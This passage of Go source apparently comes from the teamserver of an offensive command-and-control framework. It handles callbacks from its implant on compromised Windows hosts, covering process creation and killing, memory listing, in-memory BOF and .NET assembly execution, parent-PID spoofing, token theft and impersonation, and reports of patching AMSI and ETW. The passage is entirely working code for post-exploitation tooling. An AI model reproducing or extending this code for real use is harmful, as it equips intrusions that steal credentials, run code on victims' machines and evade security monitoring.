Parser.ParseInt32()\n\n\t\t\t\t\t\tOutput += fmt.Sprintf(\n\t\t\t\t\t\t\t\"\\n   Process Name : %v\\n   Process ID   : %v\\n   Parent PID   : %v\\n   Process User : %v\\n   Process Arch : x%v\\n\",\n\t\t\t\t\t\t\tProcName, ProcID, ParentPID, ProcUser, ProcArch,\n\t\t\t\t\t\t)\n\t\t\t\t\t}\n\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = \"Found one or more processes:\"\n\t\t\t\t\tMessage[\"Output\"] = Output\n\n\t\t\t\t} else {\n\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\tMessage[\"Message\"] = \"Couldn't find specified process\"\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_PROC_CREATE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tPath    = Parser.ParseUTF16String()\n\t\t\t\t\t\tPID     = Parser.ParseInt32()\n\t\t\t\t\t\tSuccess = Parser.ParseInt32()\n\t\t\t\t\t\tPiped   = Parser.ParseInt32()\n\t\t\t\t\t\tVerbose = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INFO - DEMON_INFO_PROC_CREATE, Path: %s, PID: %d, Success: %d, Verbose: %d, Piped: %d\", AgentID, Path, PID, Success, Verbose, Piped))\n\n\t\t\t\t\tif Verbose == 1 {\n\t\t\t\t\t\tif Success == 1 {\n\t\t\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Process started: Path:[%v] ProcessID:[%v]\", Path, PID)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tMessage[\"Type\"] = \"Erro\"\n\t\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Process could not be started: Path:[%v]\", Path)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif Success == 0 || Piped == 0 {\n\t\t\t\t\t\t// if we don't expect to receive output, then close the RequestID\n\t\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_CREATE, Invalid packet: %d\", AgentID))\n\t\t\t\t}\n\n\t\t\t\t// TODO: can we expect more messages from this request?\n\t\t\t\t//a.RequestCompleted(RequestID)\n\n\t\t\t\tbreak\n\n\t\t\tcase 5: // Proc:BlockDll\n\t\t\t\t// TODO: is this used?\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - 5\", AgentID))\n\t\t\t\t\tvar (\n\t\t\t\t\t\tBlockDll = int(Parser.ParseInt32())\n\t\t\t\t\t\tState    = \"disabled\"\n\t\t\t\t\t)\n\n\t\t\t\t\tif BlockDll == 1 {\n\t\t\t\t\t\tState = \"enabled\"\n\t\t\t\t\t}\n\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = \"Successfully \" + State + \" blockdll\"\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - 5, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_PROC_MEMORY:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MEMORY\", AgentID))\n\t\t\t\t\tvar (\n\t\t\t\t\t\tBaseAddress    string\n\t\t\t\t\t\tRegionSize     string\n\t\t\t\t\t\tAllocateProtec string\n\t\t\t\t\t\t// State \t\t\tstring\n\t\t\t\t\t\t// Type\t\t\tstring\n\n\t\t\t\t\t\tiProtect int\n\t\t\t\t\t\tiState   int\n\t\t\t\t\t\tiType    int\n\n\t\t\t\t\t\t_ = Parser.ParseInt32()\n\t\t\t\t\t\t_ = Parser.ParseInt32()\n\n\t\t\t\t\t\tOutputBuffer bytes.Buffer\n\t\t\t\t\t\ttableData    [][]string\n\t\t\t\t\t)\n\n\t\t\t\t\ttable := tablewriter.NewWriter(&OutputBuffer)\n\n\t\t\t\t\ttable.SetHeader([]string{\"Base Address\", \"Type\", \"Protection\", \"State\", \"Region Size\"})\n\t\t\t\t\ttable.SetBorder(false)\n\t\t\t\t\ttable.SetHeaderAlignment(tablewriter.ALIGN_CENTER)\n\t\t\t\t\ttable.SetColumnAlignment([]int{tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_RIGHT})\n\n\t\t\t\t\ttable.SetRowSeparator(\"-\")\n\t\t\t\t\ttable.SetColumnSeparator(\"│\")\n\t\t\t\t\ttable.SetCenterSeparator(\"+\")\n\n\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tcollum []string\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tBaseAddress = \"0x\" + strconv.FormatInt(Parser.ParsePointer(), 16)\n\t\t\t\t\t\tRegionSize = utils.ByteCountSI(int64(Parser.ParseInt32()))\n\t\t\t\t\t\tiProtect = int(Parser.ParseInt32())\n\t\t\t\t\t\tiState = int(Parser.ParseInt32())\n\t\t\t\t\t\tiType = int(Parser.ParseInt32())\n\n\t\t\t\t\t\tif Protection, ok := win32.Protections[iProtect]; !ok {\n\t\t\t\t\t\t\tAllocateProtec = \"UNKNOWN\"\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tAllocateProtec = Protection[0]\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t/*switch iProtect {\n\n\t\t\t\t\t\t  case win32.PAGE_NOACCESS:\n\t\t\t\t\t\t  \tAllocateProtec = \"PAGE_NOACCESS\"\n\t\t\t\t\t\t  case win32.PAGE_READONLY:\n\t\t\t\t\t\t  \tAllocateProtec = \"PAGE_READONLY\"\n\t\t\t\t\t\t  case win32.PAGE_READWRITE:\n\t\t\t\t\t\t  \tAllocateProtec = \"PAGE_READWRITE\"\n\t\t\t\t\t\t  case win32.PAGE_WRITECOPY:\n\t\t\t\t\t\t  \tAllocateProtec = \"PAGE_WRITECOPY\"\n\t\t\t\t\t\t  case win32.PAGE_EXECUTE:\n\t\t\t\t\t\t  \tAllocateProtec = \"PAGE_EXECUTE\"\n\t\t\t\t\t\t  case win32.PAGE_EXECUTE_READ:\n\t\t\t\t\t\t  \tAllocateProtec = \"PAGE_EXECUTE_READ\"\n\t\t\t\t\t\t  case win32.PAGE_EXECUTE_READWRITE:\n\t\t\t\t\t\t  \tAllocateProtec = \"PAGE_EXECUTE_READWRITE\"\n\t\t\t\t\t\t  case win32.PAGE_EXECUTE_WRITECOPY:\n\t\t\t\t\t\t  \tAllocateProtec = \"PAGE_EXECUTE_WRITECOPY\"\n\t\t\t\t\t\t  case win32.PAGE_GUARD:\n\t\t\t\t\t\t  \tAllocateProtec = \"PAGE_GUARD\"\n\t\t\t\t\t\t  default:\n\t\t\t\t\t\t  \tAllocateProtec = strconv.Itoa(iProtect)\n\t\t\t\t\t\t  }*/\n\n\t\t\t\t\t\tcollum = []string{BaseAddress, strconv.Itoa(iType), AllocateProtec, strconv.Itoa(iState), RegionSize}\n\t\t\t\t\t\ttableData = append(tableData, collum)\n\t\t\t\t\t}\n\n\t\t\t\t\ttable.AppendBulk(tableData)\n\t\t\t\t\ttable.Render()\n\n\t\t\t\t\tif OutputBuffer.Len() > 0 {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\t\tMessage[\"Message\"] = \"List memory regions:\"\n\t\t\t\t\t\tMessage[\"Output\"] = \"\\n\" + OutputBuffer.String()\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\tMessage[\"Message\"] = \"Couldn't list memory regions\"\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MEMORY, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_PROC_KILL:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSuccess   = Parser.ParseInt32()\n\t\t\t\t\t\tProcessID = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_KILL, Success: %d, ProcessID: %d\", AgentID, Success, ProcessID))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Successful killed process: %v\", ProcessID)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\tMessage[\"Message\"] = \"Failed to kill process\"\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_KILL, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - UNKNOWN (%d)\", AgentID, SubCommand))\n\t\t\t}\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC, Invalid packet\", AgentID))\n\t\t}\n\n\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\n\t\tbreak\n\n\tcase COMMAND_INLINEEXECUTE:\n\t\tvar (\n\t\t\tOutputMap = make(map[string]string)\n\t\t\tType      = Parser.ParseInt32()\n\t\t)\n\n\t\tswitch Type {\n\t\tcase CALLBACK_OUTPUT:\n\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_OUTPUT\", AgentID))\n\t\t\t\tOutputMap[\"Output\"] = Parser.ParseString()\n\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_OUTPUT, Invalid packet\", AgentID))\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase CALLBACK_ERROR:\n\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_ERROR\", AgentID))\n\t\t\t\tOutputMap[\"Type\"] = \"Error\"\n\t\t\t\tOutputMap[\"Output\"] = Parser.ParseString()\n\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_ERROR, Invalid packet\", AgentID))\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase COMMAND_INLINEEXECUTE_EXCEPTION:\n\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt64}) {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_EXCEPTION\", AgentID))\n\t\t\t\tvar (\n\t\t\t\t\tException = Parser.ParseInt32()\n\t\t\t\t\tAddress   = Parser.ParseInt64()\n\t\t\t\t)\n\n\t\t\t\tOutputMap[\"Type\"] = \"Error\"\n\t\t\t\tOutputMap[\"Message\"] = fmt.Sprintf(\"Exception %v [%x] occurred while executing BOF at address %x\", win32.StatusToString(int64(Exception)), Exception, Address)\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_EXCEPTION, Invalid packet\", AgentID))\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND:\n\n\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\tvar LibAndFunc = Parser.ParseString()\n\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND, LibAndFunc: %s\", AgentID, LibAndFunc))\n\n\t\t\t\tOutputMap[\"Type\"] = \"Error\"\n\t\t\t\tOutputMap[\"Message\"] = \"Symbol not found: \" + LibAndFunc\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND, Invalid packet\", AgentID))\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase COMMAND_INLINEEXECUTE_RAN_OK:\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_RAN_OK\", AgentID))\n\n\t\t\tfound := false\n\t\t\tfor i, BofCallback := range a.BofCallbacks {\n\t\t\t\tif BofCallback.TaskID == RequestID {\n\t\t\t\t\t// send the output back to the python module\n\t\t\t\t\tOutputMap[\"Worked\"] = \"true\"\n\t\t\t\t\tOutputMap[\"Output\"] = BofCallback.Output\n\t\t\t\t\tOutputMap[\"Error\"] = BofCallback.Error\n\t\t\t\t\tOutputMap[\"TaskID\"] = strings.ToUpper(fmt.Sprintf(\"%08x\", RequestID))\n\t\t\t\t\tteamserver.PythonModuleCallback(BofCallback.ClientID, a.NameID, HAVOC_BOF_CALLBACK, OutputMap)\n\t\t\t\t\ta.BofCallbacks = append(a.BofCallbacks[:i], a.BofCallbacks[i+1:]...)\n\t\t\t\t\tfound = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif found == false {\n\t\t\t\tOutputMap[\"Type\"] = \"Info\"\n\t\t\t\tOutputMap[\"Message\"] = \"BOF execution completed\"\n\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)\n\t\t\t}\n\n\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\tbreak\n\n\t\tcase COMMAND_INLINEEXECUTE_COULD_NO_RUN:\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_COULD_NO_RUN\", AgentID))\n\n\t\t\tfound := false\n\t\t\tfor i, BofCallback := range a.BofCallbacks {\n\t\t\t\tif BofCallback.TaskID == RequestID {\n\t\t\t\t\t// send the output back to the python module\n\t\t\t\t\tOutputMap[\"Worked\"] = \"false\"\n\t\t\t\t\tOutputMap[\"Output\"] = \"\"\n\t\t\t\t\tOutputMap[\"TaskID\"] = strings.ToUpper(fmt.Sprintf(\"%08x\", RequestID))\n\t\t\t\t\tteamserver.PythonModuleCallback(BofCallback.ClientID, a.NameID, HAVOC_BOF_CALLBACK, OutputMap)\n\t\t\t\t\ta.BofCallbacks = append(a.BofCallbacks[:i], a.BofCallbacks[i+1:]...)\n\t\t\t\t\tfound = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif found == false {\n\t\t\t\tOutputMap[\"Type\"] = \"Error\"\n\t\t\t\tOutputMap[\"Message\"] = \"Failed to execute object file\"\n\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)\n\t\t\t}\n\n\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\tbreak\n\n\t\tdefault:\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INLINEEXECUTE - UNKNOWN (%d)\", AgentID, Type))\n\t\t}\n\n\tcase COMMAND_ERROR:\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tErrorID = Parser.ParseInt32()\n\t\t\t\tMessage = make(map[string]string)\n\t\t\t)\n\n\t\t\tswitch ErrorID {\n\t\t\tcase ERROR_WIN32_LASTERROR:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tErrorCode          = Parser.ParseInt32()\n\t\t\t\t\t\tErrorString, found = Win32ErrorCodes[int(ErrorCode)]\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ERROR - ERROR_WIN32_LASTERROR, ErrorCode: %d\", AgentID, ErrorCode))\n\n\t\t\t\t\tErrorString += \" \"\n\n\t\t\t\t\tif !found {\n\t\t\t\t\t\tErrorString = \"\"\n\t\t\t\t\t}\n\n\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Win32 Error: %v [%v]\", ErrorString, ErrorCode)\n\t\t\t\t\t// TODO: can we expect more messages from this request?\n\t\t\t\t\t//a.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ERROR - ERROR_WIN32_LASTERROR, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase ERROR_TOKEN:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tvar Status = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ERROR - ERROR_TOKEN, Status: %d\", AgentID, Status))\n\n\t\t\t\t\tswitch Status {\n\t\t\t\t\tcase 0x1:\n\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\tMessage[\"Message\"] = \"No tokens inside the token vault\"\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ERROR - ERROR_TOKEN, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ERROR - UNKNOWN (%d)\", AgentID, ErrorID))\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ERROR, Invalid packet\", AgentID))\n\t\t}\n\n\tcase COMMAND_ASSEMBLY_INLINE_EXECUTE:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tInfoID  = Parser.ParseInt32()\n\t\t\t\tMessage = make(map[string]string)\n\t\t\t)\n\n\t\t\tswitch InfoID {\n\t\t\tcase DOTNET_INFO_PATCHED:\n\n\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\tMessage[\"Message\"] = \"[HwBpEngine] Amsi/Etw has been hooked & patched\"\n\n\t\t\t\tbreak\n\n\t\t\tcase DOTNET_INFO_NET_VERSION:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_NET_VERSION\", AgentID))\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = \"Using CLR Version: \" + Parser.ParseUTF16String()\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_NET_VERSION, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DOTNET_INFO_ENTRYPOINT:\n\t\t\t\tvar ThreadID int\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tThreadID = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_ENTRYPOINT, ThreadID: %d\", AgentID, ThreadID))\n\n\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Assembly has been executed [Thread: %d]\", ThreadID),\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_ENTRYPOINT, Invalid packet\", AgentID))\n\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Callback error: DOTNET_INFO_ENTRYPOINT (0x3) expects more or at least 4 bytes but received %d bytes.\", Parser.Length()),\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\tcase DOTNET_INFO_FINISHED:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_FINISHED\", AgentID))\n\n\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\"Message\": \"Finished executing assembly.\",\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase DOTNET_INFO_FAILED:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_FAILED\", AgentID))\n\n\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\"Message\": \"Failed to execute assembly or initialize the clr\",\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - UNKNOWN (%d)\", AgentID, InfoID))\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_ASSEMBLY_LIST_VERSIONS:\n\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_ASSEMBLY_LIST_VERSIONS\", AgentID))\n\t\tvar Output string\n\t\tvar Message = make(map[string]string)\n\n\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\tOutput += fmt.Sprintf(\"   - %v\\n\", Parser.ParseUTF16String())\n\t\t}\n\n\t\tMessage[\"Type\"] = typeInfo\n\t\tMessage[\"Message\"] = \"List available assembly versions:\"\n\t\tMessage[\"Output\"] = Output\n\t\ta.RequestCompleted(RequestID)\n\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\n\t\tbreak\n\n\tcase COMMAND_PROC_PPIDSPOOF:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tPpid    = int(Parser.ParseInt32())\n\t\t\t\tMessage = make(map[string]string)\n\t\t\t)\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC_PPIDSPOOF, Ppid: %d\", AgentID, Ppid))\n\n\t\t\tMessage[\"Type\"] = typeGood\n\t\t\tMessage[\"Message\"] = \"Changed parent pid to spoof: \" + strconv.Itoa(Ppid)\n\n\t\t\ta.RequestCompleted(RequestID)\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC_PPIDSPOOF, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_TOKEN:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tSubCommand = Parser.ParseInt32()\n\t\t\t\tOutput     = make(map[string]string)\n\t\t\t)\n\n\t\t\tswitch SubCommand {\n\n\t\t\tcase DEMON_COMMAND_TOKEN_IMPERSONATE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSuccessful = Parser.ParseInt32()\n\t\t\t\t\t\tUser       = Parser.ParseBytes()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_IMPERSONATE, Successful: %d, User: %s\", AgentID, Successful, User))\n\n\t\t\t\t\tif Successful == win32.TRUE {\n\t\t\t\t\t\tOutput[\"Type\"] = typeGood\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Successful impersonated %s\", User)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tOutput[\"Type\"] = typeError\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Failed to impersonat %s\", User)\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_IMPERSONATE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TOKEN_STEAL:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tUser      = Parser.ParseUTF16String()\n\t\t\t\t\t\tTokenID   = Parser.ParseInt32()\n\t\t\t\t\t\tTargetPID = Parser.ParseInt32()\n\t\t\t\t\t)\n\t\t\t\t\t// TODO: this should have a fail case\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_STEAL, User: %s, TokenID: %v, TargetPID: %v\", AgentID, User, TokenID, TargetPID))\n\n\t\t\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Successful stole and impersonated token from %v User:[%v] TokenID:[%v]\", TargetPID, User, TokenID)\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_STEAL, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_TOKEN_LIST:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_LIST\", AgentID))\n\t\t\t\tvar (\n\t\t\t\t\tBuffer    string\n\t\t\t\t\tFmtString string\n\t\t\t\t\tArray     [][]any\n\t\t\t\t\tMaxString int\n\t\t\t\t)\n\n\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tTokenIndex    = Parser.ParseInt32()\n\t\t\t\t\t\tHandle        = fmt.Sprintf(\"0x%x\", 